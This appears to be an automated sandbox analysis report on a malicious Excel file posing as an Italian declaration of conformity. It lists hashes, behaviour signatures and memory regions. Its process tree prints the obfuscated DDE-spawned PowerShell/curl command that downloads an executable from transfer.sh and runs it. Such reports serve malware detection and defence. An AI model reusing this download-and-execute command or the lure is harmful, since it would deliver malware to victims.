Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-09-2023 15:15

General

  • Target

    Declaration_of_conformity_INOX_MACEL_ITALY_09_2023.xls

  • Size

    100KB

  • MD5

    100a2750f01f084234fbd828f1f608fc

  • SHA1

    e5c947d03ad2a7a08500275b2107d91f13295066

  • SHA256

    4a7daa6f01efcbc7e6480e26f2f99092eb7c059929bc84debd13a7962d0a2a25

  • SHA512

    cf3e7cc272d565722e1f522e038925e8416863994facd1d206695f46178792c7b9f7c87b2b878d1845d7208ff1647158d3980a7268c53be39b98eac354681f8f

  • SSDEEP

    3072:YrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAPtJE2zuxq+fr9wBLa71ba2ryLTHeYjc:exEtjPOtioVjDGUU1qfDlavx+W2QnAF9

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Declaration_of_conformity_INOX_MACEL_ITALY_09_2023.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\kzcnu.exe;C:\Users\Public\kzcnu.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\kzcnu.exe;C:\Users\Public\kzcnu.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2144-13-0x000000007285D000-0x0000000072868000-memory.dmp

    Filesize

    44KB

  • memory/2144-1-0x000000007285D000-0x0000000072868000-memory.dmp

    Filesize

    44KB

  • memory/2144-3-0x0000000005F40000-0x0000000006040000-memory.dmp

    Filesize

    1024KB

  • memory/2144-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2144-16-0x000000007285D000-0x0000000072868000-memory.dmp

    Filesize

    44KB

  • memory/2144-15-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2144-14-0x0000000005F40000-0x0000000006040000-memory.dmp

    Filesize

    1024KB

  • memory/2808-7-0x000000006C0D0000-0x000000006C67B000-memory.dmp

    Filesize

    5.7MB

  • memory/2808-12-0x000000006C0D0000-0x000000006C67B000-memory.dmp

    Filesize

    5.7MB

  • memory/2808-11-0x0000000002540000-0x0000000002580000-memory.dmp

    Filesize

    256KB

  • memory/2808-10-0x0000000002540000-0x0000000002580000-memory.dmp

    Filesize

    256KB

  • memory/2808-9-0x0000000002540000-0x0000000002580000-memory.dmp

    Filesize

    256KB

  • memory/2808-8-0x000000006C0D0000-0x000000006C67B000-memory.dmp

    Filesize

    5.7MB